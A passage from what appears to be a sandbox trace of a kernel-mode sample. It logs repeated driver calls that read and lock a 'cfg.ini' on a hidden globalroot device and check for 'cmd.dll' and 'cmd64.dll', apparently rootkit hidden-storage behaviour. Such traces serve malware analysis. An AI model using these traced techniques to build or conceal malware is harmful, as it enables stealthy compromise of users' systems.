UnlockRoutine=0x0) [0119.462] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcbba0 [0119.462] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.462] KeLeaveCriticalRegion () [0119.462] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.462] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.462] KeEnterCriticalRegion () [0119.462] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.462] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.462] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.462] KeLeaveCriticalRegion () [0119.462] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.462] KeEnterCriticalRegion () [0119.462] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.462] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.462] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.462] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.462] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.462] IdePortDispatch () returned 0x103 [0119.462] KeWaitForMutexObject () returned 0x0 [0119.462] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.462] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.463] KeLeaveCriticalRegion () [0119.463] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.463] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.463] KeEnterCriticalRegion () [0119.463] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.463] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d8e000 [0119.463] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.463] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.463] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.463] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.463] IdePortDispatch () returned 0x103 [0119.463] KeWaitForMutexObject () returned 0x0 [0119.463] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.463] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.463] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.463] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.463] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.463] IdePortDispatch () returned 0x103 [0119.463] KeWaitForMutexObject () returned 0x0 [0119.463] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.463] KeLeaveCriticalRegion () [0119.463] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.464] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.464] KeEnterCriticalRegion () [0119.464] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.464] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.464] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.464] KeLeaveCriticalRegion () [0119.464] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.464] KeEnterCriticalRegion () [0119.464] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.464] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.464] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.464] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.464] KeLeaveCriticalRegion () [0119.464] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.464] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.464] KeEnterCriticalRegion () [0119.464] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.464] ExFreePoolWithTag (P=0xfffffa8003bcbba0, Tag=0x0) [0119.464] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.464] KeLeaveCriticalRegion () [0119.464] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.464] ReleaseMutex (hMutex=0xf0) returned 1 [0119.464] Sleep (dwMilliseconds=0x124f80) [0119.479] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.479] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.479] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.479] KeEnterCriticalRegion () [0119.479] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.479] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.479] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.479] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.479] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.479] IdePortDispatch () returned 0x103 [0119.479] KeWaitForMutexObject () returned 0x0 [0119.479] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.479] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.479] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.479] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.479] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.479] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa1b50 [0119.479] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.479] KeLeaveCriticalRegion () [0119.479] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.479] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.480] KeEnterCriticalRegion () [0119.480] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.480] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.480] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.480] KeLeaveCriticalRegion () [0119.480] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.480] KeEnterCriticalRegion () [0119.480] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.480] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.480] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.480] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.480] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.480] IdePortDispatch () returned 0x103 [0119.480] KeWaitForMutexObject () returned 0x0 [0119.480] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.480] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.480] KeLeaveCriticalRegion () [0119.480] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.480] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.480] KeEnterCriticalRegion () [0119.480] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.480] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d93000 [0119.480] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.480] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.480] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.480] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.480] IdePortDispatch () returned 0x103 [0119.480] KeWaitForMutexObject () returned 0x0 [0119.480] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.480] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.481] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.481] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.481] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.481] IdePortDispatch () returned 0x103 [0119.481] KeWaitForMutexObject () returned 0x0 [0119.481] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.481] KeLeaveCriticalRegion () [0119.481] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.481] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.481] KeEnterCriticalRegion () [0119.481] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.481] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.481] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.481] KeLeaveCriticalRegion () [0119.481] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.481] KeEnterCriticalRegion () [0119.481] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.481] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.481] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa1c10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.481] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.481] KeLeaveCriticalRegion () [0119.481] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.481] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.482] KeEnterCriticalRegion () [0119.482] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.482] ExFreePoolWithTag (P=0xfffffa8003aa1b50, Tag=0x0) [0119.482] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.482] KeLeaveCriticalRegion () [0119.482] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.482] ReleaseMutex (hMutex=0xf0) returned 1 [0119.482] Sleep (dwMilliseconds=0x124f80) [0119.495] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.495] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.495] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.495] KeEnterCriticalRegion () [0119.495] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.495] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.495] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.495] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.495] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.495] IdePortDispatch () returned 0x103 [0119.496] KeWaitForMutexObject () returned 0x0 [0119.496] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.496] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.496] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.496] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.496] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.496] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdbfb0 [0119.496] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.496] KeLeaveCriticalRegion () [0119.496] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.496] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.496] KeEnterCriticalRegion () [0119.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.496] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.496] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.496] KeLeaveCriticalRegion () [0119.496] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.496] KeEnterCriticalRegion () [0119.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.496] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.496] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.496] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.496] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.496] IdePortDispatch () returned 0x103 [0119.496] KeWaitForMutexObject () returned 0x0 [0119.496] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.496] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.496] KeLeaveCriticalRegion () [0119.496] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.496] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.496] KeEnterCriticalRegion () [0119.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.496] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d98000 [0119.496] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.496] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.496] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.497] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.497] IdePortDispatch () returned 0x103 [0119.497] KeWaitForMutexObject () returned 0x0 [0119.497] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.497] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.497] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.497] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.497] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.497] IdePortDispatch () returned 0x103 [0119.497] KeWaitForMutexObject () returned 0x0 [0119.497] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.497] KeLeaveCriticalRegion () [0119.497] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.497] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.498] KeEnterCriticalRegion () [0119.498] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.498] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.498] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.498] KeLeaveCriticalRegion () [0119.498] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.498] KeEnterCriticalRegion () [0119.498] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.498] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.498] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa1c10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.498] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.498] KeLeaveCriticalRegion () [0119.498] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.498] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.498] KeEnterCriticalRegion () [0119.498] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.498] ExFreePoolWithTag (P=0xfffffa8003bdbfb0, Tag=0x0) [0119.498] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.498] KeLeaveCriticalRegion () [0119.498] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.498] ReleaseMutex (hMutex=0xf0) returned 1 [0119.498] Sleep (dwMilliseconds=0x124f80) [0119.512] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.512] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.513] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.513] KeEnterCriticalRegion () [0119.513] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.513] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.513] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.513] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.513] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.513] IdePortDispatch () returned 0x103 [0119.513] KeWaitForMutexObject () returned 0x0 [0119.513] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.513] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.513] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.513] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.513] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.513] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdbb50 [0119.513] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.513] KeLeaveCriticalRegion () [0119.513] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.513] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.513] KeEnterCriticalRegion () [0119.513] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.513] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.513] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.513] KeLeaveCriticalRegion () [0119.513] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.513] KeEnterCriticalRegion () [0119.513] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.513] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.513] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.513] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.513] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.513] IdePortDispatch () returned 0x103 [0119.514] KeWaitForMutexObject () returned 0x0 [0119.514] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.514] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.514] KeLeaveCriticalRegion () [0119.514] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.514] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.514] KeEnterCriticalRegion () [0119.514] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.514] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d9d000 [0119.514] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.514] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, 